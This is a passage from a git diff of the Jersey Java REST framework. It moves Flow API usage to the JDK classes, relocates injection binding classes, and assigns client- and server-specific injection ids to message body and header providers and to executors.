- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Contains a subset of classes repackaged from the jsr166 written by Doug Lea.
- * The subset contains JDK 9 Flow API (reactive streams).
- */
-package org.glassfish.jersey.internal.jsr166;
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/JerseyPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/JerseyPublisher.java
index b479d19..6975fc5 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/util/JerseyPublisher.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/JerseyPublisher.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,17 +18,15 @@
 
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.Executor;
+import java.util.concurrent.Flow;
 import java.util.concurrent.ForkJoinPool;
 import java.util.concurrent.RejectedExecutionException;
+import java.util.concurrent.SubmissionPublisher;
 import java.util.concurrent.TimeUnit;
 import java.util.function.BiPredicate;
 import java.util.function.Consumer;
 
 import org.glassfish.jersey.internal.LocalizationMessages;
-import org.glassfish.jersey.internal.jsr166.Flow;
-import org.glassfish.jersey.internal.jsr166.SubmissionPublisher;
-import org.glassfish.jersey.internal.jsr166.SubmissionPublisherFactory;
-import org.glassfish.jersey.internal.jsr166.SubmittableFlowPublisher;
 
 
 /**
@@ -41,7 +39,7 @@
 public class JerseyPublisher<T> implements Flow.Publisher<T> {
 
     private static final int DEFAULT_BUFFER_CAPACITY = 256;
-    private SubmittableFlowPublisher<T> submissionPublisher = SubmissionPublisherFactory.createSubmissionPublisher();
+    private SubmissionPublisher<T> submissionPublisher = new SubmissionPublisher<T>();
 
     private final PublisherStrategy strategy;
 
@@ -94,7 +92,7 @@
      */
     public JerseyPublisher(final Executor executor, final PublisherStrategy strategy) {
         this.strategy = strategy;
-        submissionPublisher = SubmissionPublisherFactory.createSubmissionPublisher(executor, DEFAULT_BUFFER_CAPACITY);
+        submissionPublisher = new SubmissionPublisher<T>(executor, DEFAULT_BUFFER_CAPACITY);
     }
 
 
@@ -132,7 +130,7 @@
      */
     public JerseyPublisher(final Executor executor, final int maxBufferCapacity, PublisherStrategy strategy) {
         this.strategy = strategy;
-        submissionPublisher = SubmissionPublisherFactory.createSubmissionPublisher(executor, maxBufferCapacity);
+        submissionPublisher = new SubmissionPublisher<T>(executor, maxBufferCapacity);
     }
 
     @Override
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java
index ab95eaf..a63f789 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -57,14 +57,15 @@
 
 import javax.xml.transform.Source;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.PropertiesDelegate;
 import org.glassfish.jersey.internal.guava.Primitives;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
@@ -103,9 +104,10 @@
         @Override
         public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
             messageBodyFactory = new MessageBodyFactory(bootstrapBag.getConfiguration());
-            InstanceBinding<MessageBodyFactory> binding =
+            Binding<MessageBodyFactory, ?> binding =
                     Bindings.service(messageBodyFactory)
-                            .to(MessageBodyWorkers.class);
+                            .to(MessageBodyWorkers.class)
+                            .id(InjectionIds.SERVER_MESSAGE_BODY_WORKERS.id());
             injectionManager.register(binding);
         }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java
index 307f54f..d5b0e63 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java
@@ -20,6 +20,7 @@
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.Iterator;
+import java.util.LinkedHashMap;
 import java.util.Locale;
 import java.util.Map;
 import java.util.Set;
@@ -33,9 +34,10 @@
 import jakarta.inject.Singleton;
 
 import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.LocalizationMessages;
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.internal.util.Tokenizer;
 import org.glassfish.jersey.spi.HeaderDelegateProvider;
@@ -68,7 +70,7 @@
     /**
      * Message body providers injection binder.
      */
-    public static class MessageBodyProviders extends AbstractBinder {
+    public static class MessageBodyProviders extends InternalBinder {
 
         private final Map<String, Object> applicationProperties;
 
@@ -89,18 +91,28 @@
         protected void configure() {
 
             // Message body providers (both readers & writers)
-            bindSingletonWorker(ByteArrayProvider.class);
+            bindSingletonWorker(ByteArrayProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_BYTE_ARRAY_PROVIDER.id() : InjectionIds.SERVER_BYTE_ARRAY_PROVIDER.id());
             // bindSingletonWorker(DataSourceProvider.class);
-            bindSingletonWorker(FileProvider.class);
-            bindSingletonWorker(PathProvider.class);
-            bindSingletonWorker(FormMultivaluedMapProvider.class);
-            bindSingletonWorker(FormProvider.class);
-            bindSingletonWorker(InputStreamProvider.class);
-            bindSingletonWorker(BasicTypesMessageProvider.class);
-            bindSingletonWorker(ReaderProvider.class);
+            bindSingletonWorker(FileProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_FILE_PROVIDER.id() : InjectionIds.SERVER_FILE_PROVIDER.id());
+            bindSingletonWorker(PathProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_PATH_PROVIDER.id() : InjectionIds.SERVER_PATH_PROVIDER.id());
+            bindSingletonWorker(FormMultivaluedMapProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_MULTIVALUED_MAP_PROVIDER.id() : InjectionIds.SERVER_MULTIVALUED_MAP_PROVIDER.id());
+            bindSingletonWorker(FormProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_FORM_PROVIDER.id() : InjectionIds.SERVER_FORM_PROVIDER.id());
+            bindSingletonWorker(InputStreamProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_INPUT_STREAM_PROVIDER.id() : InjectionIds.SERVER_INPUT_STREAM_PROVIDER.id());
+            bindSingletonWorker(BasicTypesMessageProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_BASIC_TYPES_PROVIDER.id() : InjectionIds.SERVER_BASIC_TYPES_PROVIDER.id());
+            bindSingletonWorker(ReaderProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_READER_PROVIDER.id() : InjectionIds.SERVER_READER_PROVIDER.id());
             // bindSingletonWorker(RenderedImageProvider.class); - enabledProvidersBinder
-            bindSingletonWorker(StringMessageProvider.class);
-            bindSingletonWorker(EnumMessageProvider.class);
+            bindSingletonWorker(StringMessageProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_STRING_MESSAGE_PROVIDER.id() : InjectionIds.SERVER_STRING_MESSAGE_PROVIDER.id());
+            bindSingletonWorker(EnumMessageProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_ENUM_MESSAGE_PROVIDER.id() : InjectionIds.SERVER_ENUM_MESSAGE_PROVIDER.id());
 
             // Message body readers -- enabledProvidersBinder
             // bind(SourceProvider.StreamSourceReader.class).to(MessageBodyReader.class).in(Singleton.class);
@@ -111,7 +123,10 @@
              */
 
             // Message body writers
-            bind(StreamingOutputProvider.class).to(MessageBodyWriter.class).in(Singleton.class);
+            bind(StreamingOutputProvider.class).to(MessageBodyWriter.class).in(Singleton.class)
+                    .id(runtimeType == RuntimeType.CLIENT
+                            ? InjectionIds.CLIENT_STREAMING_OUTPUT_PROVIDER.id()
+                            : InjectionIds.SERVER_STREAMING_OUTPUT_PROVIDER.id());
             // bind(SourceProvider.SourceWriter.class).to(MessageBodyWriter.class).in(Singleton.class); - enabledProvidersBinder
 
             final EnabledProvidersBinder enabledProvidersBinder = new EnabledProvidersBinder();
@@ -120,42 +135,54 @@
                         String.valueOf(applicationProperties.get(CommonProperties.PROVIDER_DEFAULT_DISABLE))
                 );
             }
-            enabledProvidersBinder.bindToBinder(this);
+            enabledProvidersBinder.bindToBinder(this, runtimeType);
 
             // Header Delegate Providers registered in META-INF.services
             install(new ServiceFinderBinder<>(HeaderDelegateProvider.class, applicationProperties, runtimeType));
         }
 
-        private <T extends MessageBodyReader & MessageBodyWriter> void bindSingletonWorker(final Class<T> worker) {
-            bind(worker).to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class);
+        private <T extends MessageBodyReader & MessageBodyWriter> void bindSingletonWorker(final Class<T> worker, long id) {
+            bind(worker).to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class).id(id);
         }
     }
 
     /**
      * Header delegate provider injection binder.
      */
-    public static class HeaderDelegateProviders extends AbstractBinder {
+    public static class HeaderDelegateProviders extends InternalBinder {
 
-        private final Set<HeaderDelegateProvider> providers;
+        private final Map<HeaderDelegateProvider, Integer> providers;
+        private final RuntimeType runtimeType;
 
-        public HeaderDelegateProviders() {
-            Set<HeaderDelegateProvider> providers = new HashSet<>();
-            providers.add(new CacheControlProvider());
-            providers.add(new CookieProvider());
-            providers.add(new DateProvider());
-            providers.add(new EntityTagProvider());
-            providers.add(new LinkProvider());
-            providers.add(new LocaleProvider());
-            providers.add(new MediaTypeProvider());
-            providers.add(new NewCookieProvider());
-            providers.add(new StringHeaderProvider());
-            providers.add(new UriProvider());
+        public HeaderDelegateProviders(RuntimeType runtimeType) {
+            this.runtimeType = runtimeType;
+            Map<HeaderDelegateProvider, Integer> providers = new LinkedHashMap<>();
+            providers.put(new CacheControlProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_CACHE_CONTROL_PROVIDER.id() : InjectionIds.SERVER_CACHE_CONTROL_PROVIDER.id());
+            providers.put(new CookieProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_COOKIE_PROVIDER.id() : InjectionIds.SERVER_COOKIE_PROVIDER.id());
+            providers.put(new DateProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_DATE_PROVIDER.id() : InjectionIds.SERVER_DATE_PROVIDER.id());
+            providers.put(new EntityTagProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_ENTITY_TAG_PROVIDER.id() : InjectionIds.SERVER_ENTITY_TAG_PROVIDER.id());
+            providers.put(new LinkProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_LINK_PROVIDER.id() : InjectionIds.SERVER_LINK_PROVIDER.id());
+            providers.put(new LocaleProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_LOCALE_PROVIDER.id() : InjectionIds.SERVER_LOCALE_PROVIDER.id());
+            providers.put(new MediaTypeProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_MEDIA_TYPE_PROVIDER.id() : InjectionIds.SERVER_MEDIA_TYPE_PROVIDER.id());
+            providers.put(new NewCookieProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_NEW_COOKIE_PROVIDER.id() : InjectionIds.SERVER_NEW_COOKIE_PROVIDER.id());
+            providers.put(new StringHeaderProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_STRING_HEADER_PROVIDER.id() : InjectionIds.SERVER_STRING_HEADER_PROVIDER.id());
+            providers.put(new UriProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_URI_PROVIDER.id() : InjectionIds.SERVER_URI_PROVIDER.id());
             this.providers = providers;
         }
 
         @Override
         protected void configure() {
-            providers.forEach(provider -> bind(provider).to(HeaderDelegateProvider.class));
+            providers.forEach((provider, id) -> bind(provider).to(HeaderDelegateProvider.class).id(id));
         }
 
         /**
@@ -164,7 +191,7 @@
          * @return all internally registered {@link HeaderDelegateProvider}.
          */
         public Set<HeaderDelegateProvider> getHeaderDelegateProviders() {
-            return providers;
+            return providers.keySet();
         }
     }
 
@@ -208,7 +235,7 @@
             }
         }
 
-        private void bindToBinder(AbstractBinder binder) {
+        private void bindToBinder(InternalBinder binder, RuntimeType runtimeType) {
             ProviderBinder providerBinder = null;
             for (Provider provider : enabledProviders) {
                 if (isClass(provider.className)) {
@@ -232,7 +259,7 @@
                             providerBinder = new StreamSourceBinder();
                             break;
                     }
-                    providerBinder.bind(binder, provider);
+                    providerBinder.bind(binder, provider, runtimeType);
                 } else {
                     if (warningMap.get(provider).compareAndSet(false, true)) {
                         switch (provider) {
@@ -261,50 +288,67 @@
         }
 
         private interface ProviderBinder {
-            void bind(AbstractBinder binder, Provider provider);
+            void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType);
         }
 
         private static class DataSourceBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
                 binder.bind(DataSourceProvider.class)
-                        .to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class);
+                        .to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.CLIENT_DATA_SOURCE_PROVIDER.id()
+                                : InjectionIds.SERVER_DATA_SOURCE_PROVIDER.id());
             }
         }
 
         private static class DomSourceBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
-                binder.bind(SourceProvider.DomSourceReader.class).to(MessageBodyReader.class).in(Singleton.class);
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
+                binder.bind(SourceProvider.DomSourceReader.class).to(MessageBodyReader.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.CLIENT_DOM_SOURCE_READER.id()
+                                : InjectionIds.SERVER_DOM_SOURCE_READER.id());
             }
         }
 
         private static class RenderedImageBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
                 binder.bind(RenderedImageProvider.class)
-                        .to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class);
+                        .to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.CLIENT_RENDERED_IMAGE_PROVIDER.id()
+                                : InjectionIds.SERVER_RENDERED_IMAGE_PROVIDER.id());
             }
         }
 
         private static class SaxSourceBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
-                binder.bind(SourceProvider.SaxSourceReader.class).to(MessageBodyReader.class).in(Singleton.class);
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
+                binder.bind(SourceProvider.SaxSourceReader.class).to(MessageBodyReader.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.CLIENT_SAX_SOURCE_READER.id()
+                                : InjectionIds.SERVER_SAX_SOURCE_READER.id());
             }
         }
 
         private static class SourceBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
-                binder.bind(SourceProvider.SourceWriter.class).to(MessageBodyWriter.class).in(Singleton.class);
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
+                binder.bind(SourceProvider.SourceWriter.class).to(MessageBodyWriter.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.CLIENT_SOURCE_WRITER.id()
+                                : InjectionIds.SERVER_SOURCE_WRITER.id());
             }
         }
 
         private static class StreamSourceBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
-                binder.bind(SourceProvider.StreamSourceReader.class).to(MessageBodyReader.class).in(Singleton.class);
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
+                binder.bind(SourceProvider.StreamSourceReader.class).to(MessageBodyReader.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? 2075 : 3075);
             }
         }
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java b/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java
index 1afa8c1..4d963f1 100644
--- a/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java
+++ b/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -42,16 +42,14 @@
 import jakarta.ws.rs.core.Feature;
 import jakarta.ws.rs.core.FeatureContext;
 
-import jakarta.annotation.Priority;
-
 import org.glassfish.jersey.ExtendedConfig;
 import org.glassfish.jersey.JerseyPriorities;
+import org.glassfish.jersey.innate.inject.CompositeBinder;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.ServiceFinder;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.CompositeBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 import org.glassfish.jersey.internal.spi.ForcedAutoDiscoverable;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
diff --git a/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java b/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java
index 08f321c..88beaad 100644
--- a/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java
+++ b/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,14 +37,14 @@
 import jakarta.inject.Scope;
 
 import org.glassfish.jersey.Severity;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.Errors;
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.process.Inflector;
@@ -214,7 +214,7 @@
      * methods for getting classes and instances {@link ComponentBag#getClasses(Predicate)} and
      * {@link ComponentBag#getInstances(Predicate)}.
      * <p>
-     * Method selects all {@link org.glassfish.jersey.internal.inject.Binding bindings} and picks up the instances or creates
+     * Method selects all {@link Binding bindings} and picks up the instances or creates
      * the instances from {@link ClassBinding} (injection does not work at this moment).
      *
      * @param injectionManager injection manager to create an object from {@code T} class.
diff --git a/core-common/src/main/java/org/glassfish/jersey/process/internal/AbstractExecutorProvidersConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/process/internal/AbstractExecutorProvidersConfigurator.java
index 2a9c8b4..7ee23d8 100644
--- a/core-common/src/main/java/org/glassfish/jersey/process/internal/AbstractExecutorProvidersConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/process/internal/AbstractExecutorProvidersConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,6 +28,8 @@
 import org.glassfish.jersey.spi.ExecutorServiceProvider;
 import org.glassfish.jersey.spi.ScheduledExecutorServiceProvider;
 
+import jakarta.ws.rs.RuntimeType;
+
 /**
  * Abstract Configurator which initializes and register {@link ExecutorServiceProvider} and
  * {@link ScheduledExecutorServiceProvider}.
@@ -57,7 +59,8 @@
             ComponentBag componentBag,
             ExecutorServiceProvider defaultAsyncExecutorProvider,
             ScheduledExecutorServiceProvider defaultScheduledExecutorProvider,
-            ManagedObjectsFinalizer finalizer) {
+            ManagedObjectsFinalizer finalizer,
+            RuntimeType runtimeType) {
 
         List<ExecutorServiceProvider> customExecutors =
                 Stream.concat(
@@ -79,6 +82,6 @@
         customScheduledExecutors.add(defaultScheduledExecutorProvider);
         customScheduledExecutors.stream().forEach(e -> finalizer.registerForPreDestroyCall(e));
 
-        ExecutorProviders.registerExecutorBindings(injectionManager, customExecutors, customScheduledExecutors);
+        ExecutorProviders.registerExecutorBindings(injectionManager, customExecutors, customScheduledExecutors, runtimeType);
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/process/internal/ExecutorProviders.java b/core-common/src/main/java/org/glassfish/jersey/process/internal/ExecutorProviders.java
index 2a71beb..2f231bb 100644
--- a/core-common/src/main/java/org/glassfish/jersey/process/internal/ExecutorProviders.java
+++ b/core-common/src/main/java/org/glassfish/jersey/process/internal/ExecutorProviders.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,19 +25,22 @@
 import java.util.Set;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.ScheduledExecutorService;
+import java.util.function.Supplier;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
 import jakarta.inject.Named;
 import jakarta.inject.Qualifier;
 import jakarta.inject.Singleton;
+import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.LocalizationMessages;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Providers;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.ExtendedLogger;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.spi.ExecutorServiceProvider;
@@ -68,13 +71,13 @@
      *
      * @param injectionManager application's injection manager.
      */
-    public static void registerExecutorBindings(InjectionManager injectionManager) {
+    public static void registerExecutorBindings(InjectionManager injectionManager, RuntimeType runtimeType) {
         List<ExecutorServiceProvider> executorProviders =
                 getExecutorProviders(injectionManager, ExecutorServiceProvider.class);
         List<ScheduledExecutorServiceProvider> scheduledProviders =
                 getExecutorProviders(injectionManager, ScheduledExecutorServiceProvider.class);
 
-        registerExecutorBindings(injectionManager, executorProviders, scheduledProviders);
+        registerExecutorBindings(injectionManager, executorProviders, scheduledProviders, runtimeType);
     }
 
     private static <T> List<T> getExecutorProviders(InjectionManager injectionManager, Class<T> providerClass) {
@@ -103,7 +106,8 @@
     public static void registerExecutorBindings(
             InjectionManager injectionManager,
             List<ExecutorServiceProvider> executorProviders,
-            List<ScheduledExecutorServiceProvider> scheduledProviders) {
+            List<ScheduledExecutorServiceProvider> scheduledProviders,
+            RuntimeType runtimeType) {
 
         Map<Class<? extends Annotation>, List<ExecutorServiceProvider>> executorProviderMap =
                 getQualifierToProviderMap(executorProviders);
@@ -119,10 +123,14 @@
             ExecutorServiceProvider executorProvider = bucketProviderIterator.next();
             logExecutorServiceProvider(qualifierAnnotationClass, bucketProviderIterator, executorProvider);
 
-            SupplierInstanceBinding<ExecutorService> descriptor =
+            Binding<Supplier<ExecutorService>, ?> descriptor =
                     Bindings.supplier(new ExecutorServiceSupplier(executorProvider))
                             .in(Singleton.class)
-                            .to(ExecutorService.class);
+                            .to(ExecutorService.class)
+//                            .forClient(runtimeType == RuntimeType.CLIENT)
+                            .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.COMMON_EXECUTOR_SERVICE_CLIENT.id()
+                                : InjectionIds.COMMON_EXECUTOR_SERVICE_SERVER.id());
 
             Annotation qualifier = executorProvider.getClass().getAnnotation(qualifierAnnotationClass);
             if (qualifier instanceof Named) {
@@ -148,10 +156,14 @@
             ScheduledExecutorServiceProvider executorProvider = bucketProviderIterator.next();
             logScheduledExecutorProvider(qualifierAnnotationClass, bucketProviderIterator, executorProvider);
 
-            SupplierInstanceBinding<ScheduledExecutorService> descriptor =
+            Binding<Supplier<ScheduledExecutorService>, ?> descriptor =
                     Bindings.supplier(new ScheduledExecutorServiceSupplier(executorProvider))
                             .in(Singleton.class)
-                            .to(ScheduledExecutorService.class);
+                            .to(ScheduledExecutorService.class)
+//                            .forClient(runtimeType == RuntimeType.CLIENT)
+                            .id(runtimeType == RuntimeType.CLIENT
+                                    ? InjectionIds.COMMON_SCHEDULED_EXECUTOR_SERVICE_CLIENT.id()
+                                    : InjectionIds.COMMON_SCHEDULED_EXECUTOR_SERVICE_SERVER.id());
 
             if (!executorProviderMap.containsKey(qualifierAnnotationClass)) {
                 // it is safe to register binding for ExecutorService too...
diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
index b7d0472..790d92f 100644
--- a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
+++ b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
 
 package org.glassfish.jersey.internal;
 
+import jakarta.ws.rs.RuntimeType;
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.WebApplicationException;
 import jakarta.ws.rs.core.Application;
@@ -41,7 +42,7 @@
 public class TestRuntimeDelegate extends AbstractRuntimeDelegate {
 
     public TestRuntimeDelegate() {
-        super(new MessagingBinders.HeaderDelegateProviders().getHeaderDelegateProviders());
+        super(new MessagingBinders.HeaderDelegateProviders(RuntimeType.CLIENT).getHeaderDelegateProviders());
     }
 
     @Override
diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/config/DisabledProvidersTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/config/DisabledProvidersTest.java
index c514c0b..e5fb3bb 100644
--- a/core-common/src/test/java/org/glassfish/jersey/internal/config/DisabledProvidersTest.java
+++ b/core-common/src/test/java/org/glassfish/jersey/internal/config/DisabledProvidersTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,7 +17,7 @@
 package org.glassfish.jersey.internal.config;
 
 import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.ClassBinding;
 import org.glassfish.jersey.message.internal.MessagingBinders;
 import org.glassfish.jersey.message.internal.RenderedImageProvider;
 import org.glassfish.jersey.message.internal.SourceProvider;
diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java b/core-common/src/test/java/org/glassfish/jersey/internal/util/JerseyPublisherTest.java
